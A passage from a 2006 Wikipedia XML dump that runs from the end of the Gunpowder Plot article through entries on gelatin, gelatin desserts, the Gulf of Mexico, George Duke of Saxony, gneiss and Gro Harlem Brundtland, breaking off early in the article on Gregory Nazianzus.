The power of the explosion was such that seven-foot deep solid concrete walls (made deliberately to replicate how archives suggest the walls in the old House of Lords were constructed) were reduced to rubble. Measuring devices placed in the chamber to calculate the force of the blast were themselves destroyed by the blast, while the skull of the dummy representing King James, which at been placed on a throne inside the chamber surrounded by courtiers, peers and bishops, was found a large distance away from the site. According to the findings of the programme, no-one within 100 metres of the blast would have survived, while all the stained glass windows in [[Westminster Abbey]] would have been shattered, as would all windows within a large distance of the Palace. The power of the explosion would have been seen from miles away. Even if only half the gunpowder had gone off, everyone in the House of Lords and its environs would have been killed instantly. 

The programme also disproved claims that some deterioration in the quality of the gunpowder would have prevented the explosion. A portion of deliberately deteriorated gunpowder, at such a low quality as to make it unusable in firearms, when placed in a heap and detonated, still managed to create a large explosion. The impact of even deteriorated gunpowder would have been magnified by impact of its compression in wooden barrels, with the compression overcoming any deterioration in the quality of the contents. The compression would have have created a cannon effect, with the powder first blowing up from the top of the barrel before, a millisecond later, blowing out.

The impact of the test explosion in the specially constructed chamber visually surprised even gunpowder experts. The entire concrete chamber was demolished as if made from wood at the moment of the explosion. Plans to examine the test dummies to see the nature of the impact of their injuries and whether they could have survived, were abandoned such was the force of the blast and complete destruction caused by the explosion.

== The plot in popular culture ==
The plot is immortalised in the popular verse:

:'' Remember, remember the fifth of November,''
:'' gunpowder, treason and plot,''
:'' I see no reason why gunpowder treason''
:'' should ever be forgot.''
:'' Guy Fawkes, Guy Fawkes,''
:'' 'twas his intent''
:'' to blow up the King and the Parliament.''
:'' Three score barrels of powder below,''
:'' Poor old England to overthrow:''
:'' By God's providence he was catch'd''
:'' With a dark lantern and burning match.''
:'' Holloa boys, holloa boys, make the bells ring.''
:'' Holloa boys, holloa boys, God save the King!''
:'' Hip hip hoorah!''

(traditionally the following verses were also sung, but they have fallen out of favour because of their content)
:'' A penny loaf to feed the Pope.''
:'' A farthing o' cheese to choke him.''
:'' A pint of beer to rinse it down.''
:'' A faggot of sticks to burn him.''
:'' Burn him in a tub of tar.''
:'' Burn him like a blazing star.''
:'' Burn his body from his head.''
:'' Then we'll say ol' Pope is dead.''
:'' Hip hip hoorah!''
:'' Hip hip hoorah!''

Guy Fawkes day was used in an episode[http://theavengers.tv/forever/gale2-6.htm] of &quot;[[The Avengers (television)|The Avengers]]&quot;. In this episode entitled &quot;November Five&quot; the Avengers investigate the theft of a nuclear warhead. The thief plans to detonate it in the [[Palace of Westminster|Houses of Parliament]]([[London]]), on November the fifth.

In the [[dystopia]]n [[science fiction]] [[graphic novel]], ''[[V for Vendetta]]'', V, a mysterious [[anarchist]] who disguises and models himself as a latter day Guy Fawkes, finally explodes the abandoned parliament buildings on a future [[November 5]] as his first move to bring down the nation's [[fascism|fascist]] [[tyrant|tyranny]].

The Gunpowder Plot is also the topic of a several songs and ballads&amp;ndash;of note, the song ''Remember'', from [[John Lennon]]'s album ''[[Plastic Ono Band]]'', ends with the phrase &quot;the fifth of November&quot; and an explosion.

== See also ==
*[[UK topics]]

== Footnotes ==

'''1 &amp; 2''' {{note|Hammond}} ''The Gunpowder Plot: Exploding the Legend'', presented by [[Richard Hammond]], broadcast on [[ITV 1]], [[1 November]] [[2005]]. Due to the amount of  gunpowder needed the programme had to import gunpowder from [[Spain]] because not enough was available in the [[United Kingdom]]. The explosion took place on the Advantica Spadeadam test site in the middle of an RAF base. All aircraft flights overhead had also to be cancelled while the experiment took place.

== External links ==
* [http://www.parliament.uk/documents/upload/g08.pdf The Gunpowder Plot (House of Commons Information Sheet)]
* [http://www.gunpowder-plot.org The Gunpowder Plot Society]
* [http://www.bonfirenight.net/gunpowder.php A Summary of The Gunpowder Plot Events]
* [http://www.geocities.com/CapitolHill/5567/publications.html Publications about the Gunpowder Plot]
* [http://www.bcpl.net/~cbladey/guy/html/song.html Songs for Fawkes Day Celebration]
* [http://www.bcpl.net/~cbladey/guy/html/maina.html The Center for Fawkesian Pursuits]
* [http://www.bbc.co.uk/history/state/monarchs_leaders/gunpowder_hutton_01.shtml What if the gunpowder plot had succeeded]
* [http://www.exmsft.com/~davidco/History/fawkes1.htm A contemporary account of the executions of the plotters]
* [http://www.bbc.co.uk/history/games/gunpowder/index.shtml The Gunpowder Plot Game] [[BBC]]
*[http://www.guardian.co.uk/flash/0,5860,1605605,00.html Interactive Guide: Gunpowder Plot] [[Guardian Unlimited]]
* [http://www.spadeadam.net Advantica Spadeadam Test Site]

[[Category:History of Catholicism in England]]
[[Category:Terrorism in London]]

[[da:Krudtsammensværgelsen]]
[[de:Gunpowder Plot]]
[[fr:Conspiration des poudres]]
[[he:מזימת אבק השריפה]]
[[ja:火薬陰謀事件]]
[[no:Kruttsammensvergelsen]]
[[ru:Пороховой заговор]]
[[sv:Krutkonspirationen]]
[[zh:火药阴谋]]</text>
    </revision>
  </page>
  <page>
    <title>Gelatin</title>
    <id>13160</id>
    <revision>
      <id>41310777</id>
      <timestamp>2006-02-26T13:24:01Z</timestamp>
      <contributor>
        <username>Femto</username>
        <id>96285</id>
      </contributor>
      <comment>revert, incorrect and mentioned below</comment>
      <text xml:space="preserve">'''Gelatin''' (also '''gelatine''') is a translucent brittle solid substance, colorless or slightly yellow, nearly tasteless and odorless, which is created by prolonged boiling of animal [[skin]], [[connective tissue]] or [[bones]]. It has many uses in food, medicine, and manufacturing. Substances that contain or resemble gelatin are called '''gelatinous'''. Gelatin is also known as [[E number]] E441.

== Physical properties ==
Gelatin is [[protein]] product produced by partial [[hydrolysis]] of [[collagen]] extracted from [[skin]], [[bone]]s, [[cartilage]], [[ligament]]s, etc. The natural molecular bonds between individual collagen strands are broken down into a form that rearranges more easily. Gelatin melts when heated and solidifies when cooled again. Together with water it forms a semi-solid [[colloid]]al [[gel]].

== Production ==
On a commercial scale, gelatin is made from [[by-product]]s of the [[meat]] and [[leather]] industry, mainly pork skins, pork and cattle bones, or split cattle hides. Contrary to popular belief, horns and hooves are not commonly used. The raw materials are prepared by different curing, acid, and alkali processes which are employed to extract the dried collagen hydrolysate and which may take several weeks. The worldwide production amounts to 250,000 tons per year.

As for home cooking, boiling certain cartilagenous cuts of meat, or bones, will result in gelatin being dissolved into the water. Depending on the concentration, the resulting broth, when cooled, will naturally form a [[jelly]]. This process may for instance be used for the ''[[pot-au-feu]]'' dish.

== Edible gelatins ==
Household gelatin comes in the form of sheets, granules or as a powder. Instant types can be added to the food as is; others need to be soaked in water beforehand.

Special kinds of gelatin are made only from certain animals or from fish in order to comply with [[Jew]]ish [[kashrut]] or [[Muslim]] [[halal]] laws. [[Vegetarianism|Vegetarians]] and [[vegan]]s may substitute similar gelling agents such as [[agar]], [[pectin]], or [[konnyaku]] sometimes incorrectly referred to as &quot;vegetable gelatins.&quot; There is no chemical relationship; they are [[carbohydrate]]s, not proteins. The name &quot;gelatin&quot; is colloquially applied to all types of gels and jellies, but properly used, it should refer solely to the animal protein product. There is no vegetable source for gelatin.

== Uses ==
Probably best known as a gelling agent in cooking, different types and grades of gelatin are used in a wide range of food and non-food products:

=== Food uses ===
Common examples of foods that contain gelatin are [[gelatin dessert]]s or [[jelly]], [[trifle]]s, [[aspic]], [[marshmallow]]s and confectioneries such as [[Peeps]] and [[gummy bear]]s. Gelatin may be used as a [[stabilizer]], thickener, or texturizer in foods such as [[ice cream]], [[jam]]s, [[yogurt]], [[cream cheese]], [[margarine]]; it is used, as well, in fat-reduced foods to simulate the mouth feel of fat and to create volume without adding calories.

Gelatin is used for the clarification of juices, such as apple juice, and of vinegar. [[Isinglass]], from the swim bladders of fish, is still in use as a fining agent for wine and beer. Beside hartshorn jelly, from deer antlers, isinglass was one of the oldest sources of gelatin.

=== Technical uses ===
* Gelatin typically constitutes the shells of pharmaceutical [[capsule]]s in order to make their contents easier to swallow.
* [[Animal glue]]s such as hide glue are essentially unrefined gelatin.
* It is used to hold [[silver halide]] crystals in an [[emulsion]] in virtually all [[photographic film]]s and [[photographic paper]]s. Despite some efforts, no suitable substitutes with the stability and low cost of gelatin have been found.
* Used as a carrier, coating or separating agent for other substances,  it, for example, makes [[beta-carotene]] water-soluble, thus imparting a yellow color to any [[soft drink]]s containing beta-carotene.  
* Gelatin is closely related to bone glue and is used as a binder in [[match]] heads and [[sandpaper]].
* [[Cosmetics]] may contain a non-gelling variant of gelatin under the name &quot;hydrolyzed collagen&quot;.
* As a surface [[sizing]] it smoothes glossy printing papers or [[playing card]]s and maintains the wrinkles in crepe paper.

===Other uses===
* Blocks of [[ballistic gelatin]] simulate human tissue as a standardized shooting target for testing [[firearm]]s and [[ammunition]].
* Gelatin is used by [[synchronized swimming|synchronized swimmers]] to hold their hair in place during their routines as it will not dissolve in the cold water of the pool. It is frequently referred to as &quot;knoxing&quot;, a reference to Knox brand gelatin. Though commonly used, the owners of the trademark object to the [[genericized trademark|genericized]] use of the term.
* When added to boiling water and cooled, unflavored gelatin can make an effective home-made hair styling gel that is cheaper than many commercial hair styling products, but by comparison has a shorter shelf life (about a week) when stored in this form (usually in a refrigerator).  Some people claim that gelatin/water-based hair gel does not cause hair to thin with constant long-term use, compared to commercial products because it does not contain certain chemicals.  After being applied to scalp hair, it can be removed with rinsing and some shampoo.  Striking results can be achieved when hair is held in place and a hair dryer is used, to create spikes, the [[Mohawk hairstyle]], etc.

== Medicinal properties ==
For decades, gelatin has been touted as a good source of protein. It has also been said to strengthen nails and hair. However, there is little scientific evidence to support such an assertion, one which may be traced back to Knox's revolutionary marketing techniques of the 1890s, when it was advertised that gelatin contains protein and that lack of protein causes dry, deformed nails. Actually, the human body itself produces abundant amounts of the proteins found in gelatin. Furthermore, dry nails are usually due to a lack of moisture, not protein.

Although gelatin is 98&amp;ndash;99% protein by dry weight, the body cannot readily use it. Gelatin is notable for its exceptionally low nutritional value. The approximate amino acid composition of gelatin is: [[glycine]] 21 %, [[proline]] 12 %, [[hydroxyproline]] 12 %, [[glutamic acid]] 10 %, [[alanine]] 9 %, [[arginine]] 8%, [[aspartic acid]] 6 %, [[lysine]] 4 %, [[serine]] 4 %, [[leucine]] 3 %, [[valine]] 2 %, [[phenylalanine]] 2 %, [[threonine]] 2 %, [[isoleucine]] 1 %,[[hydroxylysine]] 1 %, [[methionine]] and [[histidine]] &lt;1% and [[tyrosine]] &lt; 0.5 %. These values vary, especially the minor constituents, depending on the source of the raw material and processing technique(3).

Gelatin is unusually high in the non-essential amino acids [[glycine]] and [[proline]], (i.e., those produced by the human body), while lacking certain [[essential amino acid]]s (i.e., those not produced by the human body). Gelatin is one of the few foods that cause a net loss of protein if eaten exclusively. It contains no [[tryptophan]] and is deficient in [[isoleucine]], [[threonine]], and [[methionine]]. Several people died of malnutrition in the 1970s while on popular 'liquid protein' diets.

Gelatin is claimed to promote general joint health. A study at [[Ball State University]], sponsored by [[Nabisco]] (the former parent company of Knox gelatin[http://www.gelita.com/]), found that gelatin supplementation relieved knee joint pain and stiffness in athletes. These results remain yet to be replicated by other researchers.

It has been claimed that an early procedure for creating gelatin was discovered by a 17th-century Franciscan Abbot who was seeking a way to purify human blood.  Having failed in this endeavor, he noted that his method of solidifying fluid might be more useful with water, although the supposed records of this were allegedly lost during the Nazi invasion of France.

== Safety concerns ==
Due to [[Bovine spongiform encephalopathy]] (BSE), also known as &quot;mad cow disease&quot;, and its link to the [[Creutzfeldt-Jakob disease]], there has been much concern about using gelatin derived from possibly infected animal parts.  One study released in 2004, however, demonstrated that the gelatin production process destroys most of the BSE [[prion]]s that may be present in the raw material (1). However, more detailed recent studies regarding the safety of gelatin in respect to [[mad cow disease]] have prompted the U.S. [[Food and Drug Administration]] to re-issue a warning and stricter guidelines for [http://www.fda.gov/opacom/morechoices/industry/guidance/gelguide.htm The Sourcing and Processing of Gelatin to Reduce the Potential Risk Posed by Bovine Spongiform Encephalopathy] from 1997.

== References ==
(1) Grobben, A. H.; Steele, P. J.; Somerville, R. A.; Taylor, D. M. [http://www.babonline.org/bab/039/0329/0390329.pdf Inactivation of the bovine-spongiform-encephalopathy (BSE) agent by the acid and alkali processes used in the manufacture of bone gelatine.] ''Biotechnology and Applied Biochemistry'' (2004), '''39''', 329-338.

(2) Dr. Roland Heynke [http://www.mad-cow.org/~tom/gel_Roland.html Gelatin Production and Prion Theory] General Information about Gelatin and Mad Cow Disease including references to various studies.

(3) P.V. Stevens. Food Australia. 44(7): 320-324, 1992. Described on [http://www.gelatin.co.za/gltn1.html Dr Bernard Cole's website] 2005-08-11.

[[Category:Animal products]]
[[Category:Edible thickening agents]]
[[Category:Proteins]]

[[cs:Želatina]]
[[da:Gelatine]]
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[[he:ג'לטין]]
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[[ja:ゼラチン]]
[[pl:Żelatyna]]
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  </page>
  <page>
    <title>Guido Fawkes</title>
    <id>13161</id>
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      <id>15910793</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Guy_Fawkes]]
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  </page>
  <page>
    <title>Gelatin dessert</title>
    <id>13162</id>
    <revision>
      <id>41656982</id>
      <timestamp>2006-02-28T21:13:51Z</timestamp>
      <contributor>
        <username>Bunchofgrapes</username>
        <id>198074</id>
      </contributor>
      <minor />
      <comment>/* Safety */ grammar</comment>
      <text xml:space="preserve">[[Image:JelloDesserts.JPG|thumb|280px|A variety of pre-packaged gelatin dessert products for sale at a supermarket in the U.S. state of [[Wisconsin]] in 2004]]
[[Image:Jelly.jpg|thumb|Jelly, as sold in UK]]
By far the most popular use for [[gelatin]] products is as '''gelatin dessert,''' in the [[United Kingdom]] and [[Australia]] gelatin desserts are referred to as '''[[jelly]],''' and in the [[United States]] and [[Canada]] (where &quot;jelly&quot; is a clear preserve stiffened by pectin and spread on bread) by its trademarked name, '''Jell-O'''. Gelatin for desserts is marketed as a flavored powder and sometimes in the form of loosely attached cubes, resembling a wobbly [[chocolate]] bar.  Popular brands include '''Jell-O''' from [[Kraft Foods]] in North America, '''Rowntree's Jelly''' in the [[United Kingdom]] and Aeroplane Jelly in [[Australia]].

==Agar==
Some gelatinous desserts can be made with [[agar]] instead of gelatin, allowing them to congeal more quickly and at higher temperatures. Agar, a vegetable product, is used especially in quick jelly powder mix and Asian jelly deserts, but also for [[vegetarian]] alternatives. Agar is more closely related to pectin and other gelling plant carbohydrates.

==Extraction of collagen==
[[Industrial rendering|Animal rendering]] is a key step in the manufacture of gelatin desserts.  The production of gelatin starts with the boiling of bones, skins, and hides of cows and pigs, in 70-foot vats to remove [[collagen]], which is then soaked and filtered.  Horns or hooves are not used, as is traditionally thought.  The extract is then dried and ground to form a powder, and is mixed with [[sugar]], [[adipic acid]], [[fumaric acid]], [[sodium citrate]], and artificial flavorings and [[food color]]s. Because the collagen is processed extensively, the final product is not categorized as a meat or animal product by the federal government.

==Safety==
Eating tainted beef may have led to variant [[Creutzfeldt-Jakob disease]] (CJD) in humans, but there are no known cases of variant CJD transmitted through collagen products such as gelatin.

==Jello shots==
A party food where some sort of alcohol, usually [[rum]], [[vodka]], [[tequila]] or sometimes even [[Everclear (alcohol)|everclear]] replaces some of the water or fruit juice.

The American mathematician and satirist [[Tom Lehrer]] claimed to have invented the Jello shot while in working for the [[National Security Agency]], where he developed [[vodka]] Jell-O. This was done as a way to circumvent a restriction on alcoholic beverages on base.[http://home.teleport.com/~osh/leher.htm]

==Trivia==
* Jell-O is the official state [[snack food]] of [[Utah]], which is reported to have the highest per capita sales of green gelatin dessert of any U.S. state. Over-fondness of Jell-O is often considered a cliché trait of [[Mormonism|Mormon]]s even in other areas.  See [[Jello Belt]].
* [[Bill Cosby]] is often associated with Jell-O because of the many commercials he made for Jell-O branded products.

{{cookbookpar|Rainbow Jello}}

[[Category:Desserts]]

[[de:Götterspeise]]
[[zh:果凍]]</text>
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  </page>
  <page>
    <title>Gulf of Mexico</title>
    <id>13166</id>
    <revision>
      <id>41896038</id>
      <timestamp>2006-03-02T13:06:00Z</timestamp>
      <contributor>
        <username>Dalbury</username>
        <id>374244</id>
      </contributor>
      <comment>fix link to Cape Sable</comment>
      <text xml:space="preserve">[[Image:GulfofMexico3D.png|thumb|right|300px|Gulf of Mexico in 3D perspective.]]

               
The '''Gulf of Mexico''' is a major [[body of water]] bordered and nearly landlocked by [[North America]].

The gulf's eastern, north, and northwestern shores lie within the [[United States|United States of America]] (specifically, the states of [[Florida]], [[Alabama]], [[Mississippi]], [[Louisiana]], and [[Texas]]); its southwestern and southern shores lie within [[Mexico]] (specifically, the states of [[Tamaulipas]], [[Veracruz]], [[Tabasco]], [[Campeche]], [[Yucatán]], and [[Quintana Roo]]); on the southeast it is bordered by [[Cuba]]. It connects with the [[Atlantic Ocean]] via the [[Florida Straits]] between the U.S. and Cuba, and with the [[Caribbean Sea]] via the [[Yucatan Channel]] between Mexico and Cuba.

(Note: In common usage, at least in the U.S., the term &quot;Gulf Coast&quot; usually refers to either the continuous portion of the coast running from [[Cape Sable]], [[Florida]], to [[Brownsville, Texas]], or from Cape Sable, Florida, to the northern tip of the [[Yucatán Peninsula]] at [[Cabo Catoche, Quintana Roo]]. Both meanings exclude Cuba as well as the [[Florida Keys]].)

[[Image:GolfVanMexico.jpg|left|frame|Gulf of Mexico.]]

The total area of the Gulf of Mexico is approximately 615,000 [[square mile|mi&amp;sup2;]] (1.6 million km&amp;sup2;), the southern third of which lies within the tropics, and plunges to a depth of 2,080 [[fathom]]s (3804 m). This deepest part is [[Sigsbee Deep]], an irregular trough more than 300 [[nautical mile]]s (550 km) long, sometimes called the &quot;[[Grand Canyon]] under the sea.&quot; The cooler water from the deep stimulates plankton growth, which attracts small fish, shrimp, and squid. [http://www.tsha.utexas.edu/handbook/online/articles/GG/rrg7.html 1] The [[Gulf Stream]], a warm Atlantic Ocean current and one of the strongest [[ocean current]]s known, originates in the gulf. The gulf has been visited many times by powerful Atlantic [[hurricane]]s, some of which have caused extensive human death and other destruction (see [[2005]]'s [[Hurricane Katrina]], for example).

[[Tides|Tidal ranges]] are extremely small in the Gulf of Mexico due to the narrow connection with the ocean &amp;ndash; much like the [[Mediterranean]].

The [[Bay of Campeche]] in Mexico constitutes a major arm of the Gulf of Mexico.  Additionally, the gulf's shoreline is fringed by numerous bays and smaller inlets. A number of rivers empty into the gulf, most notably the [[Mississippi River]]. The land that forms the gulf's coast, including many long, narrow barrier islands, is almost uniformly low-lying and is characterized by marshes and swamps as well as stretches of sandy beach.

The [[continental shelf]] is quite wide at most points along the coast.  The shelf is exploited for its [[petroleum|oil]] by means of offshore drilling rigs, most of which are situated in the western gulf. Another important commercial activity is fishing; major catches include various fishes as well as shrimp and crabs, with oysters being harvested on a large scale from many of the bays and sounds. Other important industries along the coast include shipping, petrochemical processing and storage, paper manufacture, and tourism.

Coastal cities of note include [[Tampa, Florida|Tampa]], [[St. Petersburg, Florida|St. Petersburg]], [[Pensacola, Florida|Pensacola]], [[Mobile, Alabama|Mobile]], [[New Orleans, Louisiana|New Orleans]], [[Beaumont, Texas|Beaumont]], and [[Houston, Texas|Houston]] (all in the U.S.), [[Tampico|Tampico]], [[Tuxpam|Tuxpam]], [[Veracruz (city)|Veracruz]] and [[Mérida, Yucatán|Mérida]] (in Mexico), and [[Havana]] (in Cuba).

The gulf's coastal areas were first settled by [[Native American (Americas)|Native American]] groups, including those representing several of the early advanced cultures of Mexico. During the period of [[European colonization of the Americas|European exploration and colonization]] the entire region became a theatre of contention between the [[Spain|Spanish]], [[France|French]] and [[United Kingdom|English]]. The present-day culture of the coastal region is primarily Spanish-American (Mexico, Cuba) and Anglo-American (U.S.).

[[Image:Fishing Fleet in Biloxi.jpg|thumb|200px|right|Fishing boats in Biloxi]]

A point of interest about the Gulf is that 65 million years ago, the [[Chicxulub crater]] was formed when a large meteorite hit the earth.  It is hypothesized that this impact was the [[asteroid]] that caused the extinction of the non-avian [[dinosaur]]s.  [http://web.ukonline.co.uk/a.buckley/dino.htm]

==Pollution==
Because of the ever increasing amount of [[nitrogen]] and [[phosphate]]s dissolved in the waters of the Gulf of Mexico, pollution has more than doubled since 1950. Current estimates suggest that three times as much nitrogen is being carried into the Gulf today compared with levels 30 years ago or at any time in history. Blooms of photosynthesizers die and sink, and the processes of their decay exhausts the available supplies of oxygen dissolved in the water. Every summer there is now an area south of the Louisiana coastline, larger than the [[U.S. state]] of  [[Massachusetts]] at over 7,000 mi&amp;sup2; (18,000 km&amp;sup2;) that is [[hypoxia (water)|hypoxic]]. These waters do not carry enough oxygen to sustain marine life. This annually enlarging [[dead zone (ecology)|dead zone]] is a major threat to the fishing industry and to public health.

Also, there are frequent &quot;[[red tide]]&quot; algae blooms that kill fish and marine mammals and cause respiratory problems in humans and some domestic animals when the blooms reach close to shore. This has especially been plaguing the southwest Florida coast, from the Keys to north of Pasco County,wyomiong

==See also==
*[[Gulf Coast of the United States]]
*[[Gulf Coast of Mexico]]

==External links==
*[http://www.epa.gov/water/yearofcleanwater/docs/Hypoxia_Factsheet.pdf EPA factsheet on hypoxia]
*[http://www.ncat.org/nutrients/hypoxia/hypoxia.html Gulf of Mexico hypoxia]

[[Category:Gulfs|Mexico]]
[[Category:Gulf of Mexico| ]]

[[cs:Mexický záliv]]
[[da:Mexicanske Golf]]
[[de:Golf von Mexiko]]
[[et:Mehhiko laht]]
[[es:Golfo de México]]
[[eo:Meksika Golfo]]
[[fr:Golfe du Mexique]]
[[ga:Murascaill Mheicsiceo]]
[[gl:Golfo de México]]
[[ko:멕시코 만]]
[[he:מפרץ מקסיקו]]
[[lt:Meksikos įlanka]]
[[jbo:mexyxas]]
[[nl:Golf van Mexico]]
[[ja:メキシコ湾]]
[[no:Mexicogolfen]]
[[pl:Zatoka Meksykańska]]
[[pt:Golfo do México]]
[[ru:Мексиканский залив]]
[[sk:Mexický záliv]]
[[sv:Mexikanska golfen]]
[[uk:Мексиканська затока]]</text>
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  </page>
  <page>
    <title>George, Duke of Saxony</title>
    <id>13168</id>
    <revision>
      <id>38733808</id>
      <timestamp>2006-02-08T06:53:29Z</timestamp>
      <contributor>
        <username>Kmorozov</username>
        <id>238736</id>
      </contributor>
      <text xml:space="preserve">'''George ''the Bearded'', Duke of Saxony''' ([[27 August]] [[1471]] - [[17 April]] [[1539]]), was [[duke of Saxony]] from [[1500]] to [[1539]].

On [[21 November]] [[1496]] at [[Leipzig]], he married Barbara (1478-1534), the daughter of [[Casimir IV of Poland|Casimir IV, King of Poland]] and Elisabeth, daughter of [[Albrecht II of Hungary]].

George and Barbara's daughter [[Magdalena of Saxony]] (1507-1534) married [[Joachim II]]  Hector, Kürfurst von Brandenburg, who had a son named [[Johann Georg]], also later Kürfurst von Brandenburg (1571 - 1598).

==References==
* [http://www.newadvent.org/cathen/06457a.htm Catholic Encyclopedia article]

[[Category:1471 births|Saxony, George, Duke of]]
[[Category:1539 deaths|Saxony, George, Duke of]]
[[Category:Dukes of Saxony]]
[[Category:Knights of the Golden Fleece|Saxony, George, Duke of]]

[[de:Georg der Bärtige]]
[[nl:Joris met de Baard]]</text>
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  </page>
  <page>
    <title>Gneiss</title>
    <id>13169</id>
    <revision>
      <id>40661966</id>
      <timestamp>2006-02-22T03:28:37Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/205.188.116.137|205.188.116.137]] ([[User talk:205.188.116.137|talk]]) to last version by Naconkantari</comment>
      <text xml:space="preserve">[[Image:Gneiss.jpg|thumb|Gneiss]]

'''Gneiss''' is a common and widely distributed type of [[Rock (geology)|rock]] formed by high grade regional [[metamorphic rock|metamorphic]] processes from preexisting formations that were originally either [[igneous rock|igneous]] or [[Sedimentary rock|sedimentary]] rocks. Gneissic rocks are coarsely [[Foliation (geology)|foliated]] and largely [[Recrystallization|recrystallized]] but do not carry large quantities of [[mica|micas]], [[Chlorite group|chlorite]] or other platy [[mineral]]s. Gneisses that are metamorphosed igneous rocks or their equivalent are termed [[granite]] gneisses, [[diorite]] gneisses, etc. However, depending on their composition, they may also be called [[garnet]] gneiss, [[biotite]] gneiss, [[albite]] gneiss, etc. ''Orthogneiss'' designates a gneiss derived from an igneous rock, and ''paragneiss'' is one from a sedimentary rock. ''Gneissose'' is used to describe rocks with properties similar to gneiss.

The word &quot;gneiss&quot; is from an old [[Old English language|Saxon]] mining term that seems to have meant decayed, rotten, or possibly worthless material.

The [[Acasta Gneiss]] is the oldest known crustal rock in the world.

== See also ==
* [[List of rocks]]

{{commons|:Category:Gneiss}}

{{mineral-stub}}
[[Category:Metamorphic rocks]]

[[da:Gnejs]]
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[[ja:片麻岩]]
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[[sv:Gnejs]]</text>
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  <page>
    <title>GT40</title>
    <id>13170</id>
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      <timestamp>2002-02-25T15:43:11Z</timestamp>
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        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Ford GT40]]
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  <page>
    <title>Gro Harlem Brundtland</title>
    <id>13171</id>
    <revision>
      <id>37094799</id>
      <timestamp>2006-01-28T16:59:08Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">[[Image:Gro Harlem Brundtland.jpg|thumb|Gro Harlem Brundtland]]

'''Gro Harlem Brundtland''' (born [[April 20]], [[1939]]) is a [[Norway|Norwegian]] politician and [[physician]], and an international leader in [[sustainable development]] and [[public health]].

==Domestic career==

She was born in [[Bærum]], became a social democrat at the age of 7, and was educated Medical doctor (cand. med.) at the [[University of Oslo]] in [[1963]], and Master of Public Health at [[Harvard University]] in [[1965]]. She was Norwegian Minister for Environmental Affairs 1974-79, and became Norway's first female Prime Minister February - October [[1981]]; her cabinet was renowned internationally for having 8 female ministers out of 18. 

Brundtland became Norwegian Prime Minister for two subsequent terms - from May 9, [[1986]] until October 16, [[1989]] and from November 3, [[1990]] until October 25, [[1996]], when she was succeeded by [[Thorbjørn Jagland]]. She resigned as leader of the [[Det norske Arbeiderparti|Labour Party]] in [[1992]].

==International career==

Gro Harlem Brundtland was Chair of the World Commission on Environment and Development (WCED), widely referred to as the [[Brundtland Commission]], developing the broad political concept of [[sustainable development]] in the course of extensive public hearings that were distinguished by their inclusiveness and published its report ''Our Common Future'' in April [[1987]]. The [[Brundtland Commission]] provided the momentum for the 1992 [[Earth Summit]] / [[UNCED]], that was headed by [[Maurice Strong]], who had been a prominent member of the Brundtland Commission - and for [[Agenda 21]]. 

Dr. Gro Harlem Brundtland was elected Director-General of the [[World Health Organization]] in May [[1998]]. In this capacity, Dr. Brundtland adopted a far-reaching approach to public health, establishing a [http://www.cmhealth.org Commission on Macroeconomics and Health] - chaired by [[Jeffrey Sachs]] - and addressing [[violence]] as a major public health issue. Brundtland was recognized in [[2003]] by [[Scientific American]] as their ''Policy Leader of the Year'' for coordinating a rapid worldwide response to stem outbreaks of [[Severe acute respiratory syndrome|SARS]]. Gro Harlem Brundtland was succeeded, on [[July 21]], [[2003]], by [[Jong-Wook Lee|Jong-Wook Lee]].

In [[1994]] she was awarded the [[Karlspreis|Charlemagne Prize]] of the city of [[Aachen]].

In 2004 the British newspaper [[The Financial Times]] listed her the 4th most influental European for the last 25 years, behind [[Pope John Paul II]], [[Mikhail Gorbachev]] and [[Margaret Thatcher]]. 

Her hallmark political activities have been chronicled  by her husband, Arne Olav Brundtland in his two bestsellers, &quot;Married to Gro&quot; (ISBN 8251616476) and the sequel, &quot;Still married to Gro&quot; (ISBN 8205307261).

She has been suggested as a candidate for the next [[Secretary General of the United Nations]], once [[Kofi Annan]]'s term ends. 

{{start box}}
{{succession box | before=[[Odvar Nordli]]| title=[[List of Norwegian Prime Ministers|Prime Minister of Norway]] | years=1981 | after=[[Kåre Willoch]]}}
{{succession box | before=[[Kåre Willoch]]| title=[[List of Norwegian Prime Ministers|Prime Minister of Norway]] | years=1986&amp;ndash;1989 | after=[[Jan P. Syse]]}}
{{succession box | before=[[Jan P. Syse]]| title=[[List of Norwegian Prime Ministers|Prime Minister of Norway]] | years=1990&amp;ndash;1996 | after=[[Thorbjørn Jagland]]}}
{{succession box | before=[[Hiroshi Nakajima]]| title=[[Director General of the World Health Organization]] | years=1998&amp;ndash;2003 | after=[[Jong-Wook Lee]]}}
{{end box}}

[[Category:1939 births|Brundtland, Gro Harlem]]
[[Category:Living people|Brundtland, Gro Harlem]]
[[Category:Norwegian politicians|Brundtland, Gro Harlem]]
[[Category:UN officials|Brundtland, Gro Harlem]]
[[Category:Karlspreis laureates|Brundtland, Gro Harlem]]
[[Category:Norwegian physicians|Brundtland, Gro Harlem]]
[[Category:Female heads of government|Brundtland, Gro Harlem]]

[[bs:Gro Harlem Brundtland]]
[[ca:Gro Harlem Brundtland]]
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  <page>
    <title>Gregory Nazianzus</title>
    <id>13172</id>
    <revision>
      <id>41886430</id>
      <timestamp>2006-03-02T10:35:48Z</timestamp>
      <contributor>
        <username>Panairjdde</username>
        <id>2400</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:GregoryNazianzen.jpg|thumb|An icon of Saint Gregory Nazianzen the theologian holding a Gospel Book]]

Saint '''Gregory Nazianzen''' ([[329]] - [[January 25]], [[389]]), also known as Saint Gregory the Theologian, was a [[4th century]] [[Christianity|Christian]] [[bishop]] of [[List of Constantinople patriarchs |Constantinople]]. He was the son of Gregory and Nonna. He is honored as a [[saint]] by the [[Catholicism|Roman Catholic Church]] and as a [[Doctor of the Church]].  He is also a highly-regarded saint in [[Eastern Orthodoxy]].

== Education ==
He first studied at home with his uncle Saint Amphylokhios. Later he studied in [[Nazianzos]] (where his father Gregory was bishop), [[Caesarea Mazaca|Caesarea]] [[Cappadocia]], [[Alexandria]], and [[Athens]]. While at Athens, he developed a close friendship with Saint [[Basil of Caesarea]], and also made the acquaintance of Julian, the future Emperor who would become known as [[Julian the Apostate]]. Upon finishing his education, he also taught rhetoric in Athens for a short time.

== Service ==
